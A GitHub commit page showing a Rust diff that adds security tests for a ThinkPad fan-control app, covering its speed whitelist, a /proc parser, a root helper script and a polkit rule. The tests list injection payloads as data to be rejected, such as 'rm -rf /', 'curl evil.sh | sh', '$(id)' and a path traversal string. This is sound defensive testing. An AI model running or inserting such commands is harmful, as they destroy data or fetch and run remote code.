Skip to content

Commit e45a558

Browse files
authored
test(fan): prove the fan control and privileged helper flows (#18)
fan_control.rs had no tests despite owning the app's security boundary. Adds 11, and extracts two pure functions to make them testable: is_valid_speed() -- was an inline VALID_SPEEDS.contains() call parse_fan_proc() -- was inlined in the get_sensor_data command The load-bearing tests execute HELPER_SCRIPT itself rather than asserting on its source. That script is what gets installed at HELPER_PATH and invoked as root under a polkit rule granting it passwordless, so its case statement is the boundary between the app and arbitrary root: helper_rejects_everything_outside_the_whitelist 14 payloads -- command chaining, substitution, newline injection, out-of-range levels, and the enable/disable/watchdog commands the /proc interface accepts but we deliberately do not. helper_accepts_the_documented_commands the complement, so the whitelist cannot be tightened into uselessness without a test failing. Asserts only that input is not rejected -- the write needs a ThinkPad and root, so it is expected to fail in CI. polkit_rule_grants_only_the_helper_binary guards against the rule ever naming a shell, which would make the tight helper pointless. helper_path_is_not_user_writable_location if HELPER_PATH drifted to /tmp or /home, any local user could replace the binary polkit grants passwordless root to. Parser tests use real thinkpad_acpi output and pin the behaviour that 'commands:' capability lines are ignored -- treating them as readings would surface 'level <level> (<level> is 0-7, auto...)' in the UI as a fan level. Suite: 19 -> 30 tests.
1 parent 7a5b6a3 commit e45a558

1 file changed

Lines changed: 240 additions & 20 deletions

File tree

‎src-tauri/src/fan_control.rs‎

Lines changed: 240 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,51 @@ const VALID_SPEEDS: &[&str] = &[
4444
"auto", "full-speed", "0", "1", "2", "3", "4", "5", "6", "7",
4545
];
4646

47+
/// Whether a fan speed is one this app is willing to send to the hardware.
48+
///
49+
/// This is the Rust-side gate; the installed helper script re-checks the full
50+
/// `level <speed>` string independently, so a bypass here still hits a second
51+
/// whitelist before anything is written.
52+
fn is_valid_speed(speed: &str) -> bool {
53+
VALID_SPEEDS.contains(&speed)
54+
}
55+
56+
/// Parse the contents of /proc/acpi/ibm/fan.
57+
///
58+
/// Format is `key:\tvalue` lines, e.g.
59+
/// ```text
60+
/// status: enabled
61+
/// speed: 3084
62+
/// level: auto
63+
/// ```
64+
/// Unknown keys are ignored — the file carries commands and capability hints
65+
/// (`commands:`, `watchdog:`) that are not fan readings.
66+
fn parse_fan_proc(content: &str) -> HashMap<String, String> {
67+
let mut fans = HashMap::new();
68+
69+
for line in content.lines() {
70+
if let Some((key, value)) = line.split_once(':') {
71+
let key = key.trim();
72+
let value = value.trim();
73+
74+
match key {
75+
"status" => {
76+
fans.insert("status".to_string(), value.to_string());
77+
}
78+
"level" => {
79+
fans.insert("level".to_string(), value.to_string());
80+
}
81+
"speed" => {
82+
fans.insert("Fan1".to_string(), format!("{} RPM", value));
83+
}
84+
_ => {}
85+
}
86+
}
87+
}
88+
89+
fans
90+
}
91+
4792
#[derive(Debug, Serialize, Deserialize)]
4893
pub struct SensorData {
4994
pub temps: HashMap<String, String>,
@@ -105,25 +150,7 @@ pub fn get_sensor_data() -> ApiResponse<SensorData> {
105150
// Get fan info from /proc/acpi/ibm/fan
106151
match fs::read_to_string(PROC_FAN) {
107152
Ok(content) => {
108-
for line in content.lines() {
109-
if let Some((key, value)) = line.split_once(':') {
110-
let key = key.trim();
111-
let value = value.trim();
112-
113-
match key {
114-
"status" => {
115-
fans.insert("status".to_string(), value.to_string());
116-
}
117-
"level" => {
118-
fans.insert("level".to_string(), value.to_string());
119-
}
120-
"speed" => {
121-
fans.insert("Fan1".to_string(), format!("{} RPM", value));
122-
}
123-
_ => {}
124-
}
125-
}
126-
}
153+
fans.extend(parse_fan_proc(&content));
127154
}
128155
Err(e) => {
129156
return ApiResponse {
@@ -179,7 +206,7 @@ pub fn get_sensor_data() -> ApiResponse<SensorData> {
179206
#[tauri::command]
180207
pub async fn set_fan_speed(speed: String) -> ApiResponse<String> {
181208
// Validate speed against whitelist
182-
if !VALID_SPEEDS.contains(&speed.as_str()) {
209+
if !is_valid_speed(&speed) {
183210
return ApiResponse {
184211
success: false,
185212
data: None,
@@ -305,3 +332,196 @@ pub fn check_permissions() -> ApiResponse<bool> {
305332
error: None,
306333
}
307334
}
335+
336+
#[cfg(test)]
337+
mod tests {
338+
use super::*;
339+
340+
// -- Speed whitelist --
341+
342+
#[test]
343+
fn accepts_every_documented_speed() {
344+
for s in ["auto", "full-speed", "0", "1", "2", "3", "4", "5", "6", "7"] {
345+
assert!(is_valid_speed(s), "'{}' should be accepted", s);
346+
}
347+
}
348+
349+
#[test]
350+
fn rejects_out_of_range_and_malformed_speeds() {
351+
for s in [
352+
"8", "-1", "99", "AUTO", "Auto", "full speed", "fullspeed", "",
353+
" 3", "3 ", "0x3", "level 3",
354+
] {
355+
assert!(!is_valid_speed(s), "'{}' should be rejected", s);
356+
}
357+
}
358+
359+
/// The speed reaches a shell as `level <speed>`, so metacharacters must not survive.
360+
#[test]
361+
fn rejects_shell_metacharacters_in_speed() {
362+
for s in [
363+
"auto; rm -rf /",
364+
"3 && curl evil.sh | sh",
365+
"$(id)",
366+
"`id`",
367+
"3\nrm -rf /",
368+
"3 > /etc/passwd",
369+
] {
370+
assert!(!is_valid_speed(s), "{:?} should be rejected", s);
371+
}
372+
}
373+
374+
// -- /proc/acpi/ibm/fan parsing --
375+
376+
/// Real output from a ThinkPad running thinkpad_acpi.
377+
const SAMPLE_PROC_FAN: &str = "\
378+
status:\t\tenabled
379+
speed:\t\t3084
380+
level:\t\tauto
381+
commands:\tlevel <level> (<level> is 0-7, auto, disengaged, full-speed)
382+
commands:\tenable, disable
383+
commands:\twatchdog <timeout> (0 disables, timeout is 0-120)
384+
";
385+
386+
#[test]
387+
fn parses_status_speed_and_level() {
388+
let fans = parse_fan_proc(SAMPLE_PROC_FAN);
389+
assert_eq!(fans.get("status").map(String::as_str), Some("enabled"));
390+
assert_eq!(fans.get("level").map(String::as_str), Some("auto"));
391+
assert_eq!(fans.get("Fan1").map(String::as_str), Some("3084 RPM"));
392+
}
393+
394+
/// `commands:` lines describe capabilities, not readings. Treating them as fan
395+
/// data would surface "level <level> (<level> is 0-7...)" in the UI as a level.
396+
#[test]
397+
fn ignores_command_and_capability_lines() {
398+
let fans = parse_fan_proc(SAMPLE_PROC_FAN);
399+
assert_eq!(fans.len(), 3, "unexpected keys: {:?}", fans);
400+
assert!(!fans.contains_key("commands"));
401+
assert!(!fans.contains_key("watchdog"));
402+
}
403+
404+
#[test]
405+
fn tolerates_empty_and_malformed_input() {
406+
assert!(parse_fan_proc("").is_empty());
407+
assert!(parse_fan_proc("no colon here\nanother line").is_empty());
408+
// A key with no value should not panic and should yield an empty string.
409+
assert_eq!(parse_fan_proc("level:").get("level").map(String::as_str), Some(""));
410+
}
411+
412+
#[test]
413+
fn parses_numeric_level_not_just_auto() {
414+
let fans = parse_fan_proc("status:\tenabled\nlevel:\t7\nspeed:\t4500\n");
415+
assert_eq!(fans.get("level").map(String::as_str), Some("7"));
416+
assert_eq!(fans.get("Fan1").map(String::as_str), Some("4500 RPM"));
417+
}
418+
419+
// -- The installed privileged helper --
420+
421+
/// Write HELPER_SCRIPT to a temp file and run it, so we test the bash that
422+
/// actually gets installed at HELPER_PATH and invoked under pkexec.
423+
fn run_helper(arg: &str) -> std::process::Output {
424+
use std::os::unix::fs::OpenOptionsExt;
425+
use std::io::Write;
426+
427+
let nanos = std::time::SystemTime::now()
428+
.duration_since(std::time::UNIX_EPOCH)
429+
.unwrap_or_default()
430+
.as_nanos();
431+
let path = std::env::temp_dir()
432+
.join(format!("thinkutils_helper_test_{}_{}.sh", std::process::id(), nanos));
433+
434+
let mut f = fs::OpenOptions::new()
435+
.create_new(true)
436+
.write(true)
437+
.mode(0o700)
438+
.open(&path)
439+
.expect("create helper");
440+
f.write_all(HELPER_SCRIPT.as_bytes()).expect("write helper");
441+
drop(f);
442+
443+
let out = Command::new("bash").arg(&path).arg(arg).output().expect("run helper");
444+
let _ = fs::remove_file(&path);
445+
out
446+
}
447+
448+
/// This is the security boundary: the helper runs as root under a polkit rule
449+
/// that grants it passwordless. If its case statement ever accepts something
450+
/// outside the whitelist, that is arbitrary root.
451+
#[test]
452+
fn helper_rejects_everything_outside_the_whitelist() {
453+
let payloads = [
454+
"level 8",
455+
"level -1",
456+
"enable",
457+
"disable",
458+
"watchdog 0",
459+
"level auto; rm -rf /",
460+
"level auto && curl evil.sh | sh",
461+
"level $(id)",
462+
"level `id`",
463+
"level auto\nrm -rf /",
464+
"; rm -rf /",
465+
"../../etc/passwd",
466+
"level AUTO",
467+
"",
468+
];
469+
for p in payloads {
470+
let out = run_helper(p);
471+
let stderr = String::from_utf8_lossy(&out.stderr);
472+
assert!(
473+
stderr.contains("Invalid command"),
474+
"helper did not reject {:?} (stderr: {:?})",
475+
p,
476+
stderr
477+
);
478+
assert!(!out.status.success(), "helper exited 0 for {:?}", p);
479+
}
480+
}
481+
482+
/// Complements the above: the whitelist must not be so tight that legitimate
483+
/// commands are refused. We assert only that they are not *rejected* — the
484+
/// write itself needs a ThinkPad and root, so it is expected to fail in CI.
485+
#[test]
486+
fn helper_accepts_the_documented_commands() {
487+
for level in ["auto", "full-speed", "0", "1", "2", "3", "4", "5", "6", "7"] {
488+
let arg = format!("level {}", level);
489+
let out = run_helper(&arg);
490+
let stderr = String::from_utf8_lossy(&out.stderr);
491+
assert!(
492+
!stderr.contains("Invalid command"),
493+
"helper wrongly rejected {:?} (stderr: {:?})",
494+
arg,
495+
stderr
496+
);
497+
}
498+
}
499+
500+
/// The polkit rule grants passwordless root. It must name the helper binary and
501+
/// nothing else -- granting a shell would make the tight helper pointless.
502+
#[test]
503+
fn polkit_rule_grants_only_the_helper_binary() {
504+
assert!(
505+
POLKIT_RULE.contains(HELPER_PATH),
506+
"polkit rule must reference the helper path"
507+
);
508+
for forbidden in ["/bin/bash", "/bin/sh", "/usr/bin/bash", "/usr/bin/env"] {
509+
assert!(
510+
!POLKIT_RULE.contains(forbidden),
511+
"polkit rule must not grant {}",
512+
forbidden
513+
);
514+
}
515+
}
516+
517+
/// The helper is written into a root-owned path by the setup script. If the
518+
/// constant ever drifted to a user-writable location, any local user could
519+
/// replace the binary that polkit grants passwordless root to.
520+
#[test]
521+
fn helper_path_is_not_user_writable_location() {
522+
assert!(HELPER_PATH.starts_with("/usr/local/bin/") || HELPER_PATH.starts_with("/usr/bin/"));
523+
for bad in ["/tmp/", "/var/tmp/", "/home/", "/dev/shm/"] {
524+
assert!(!HELPER_PATH.starts_with(bad), "helper must not live in {}", bad);
525+
}
526+
}
527+
}

0 commit comments

Comments
 (0)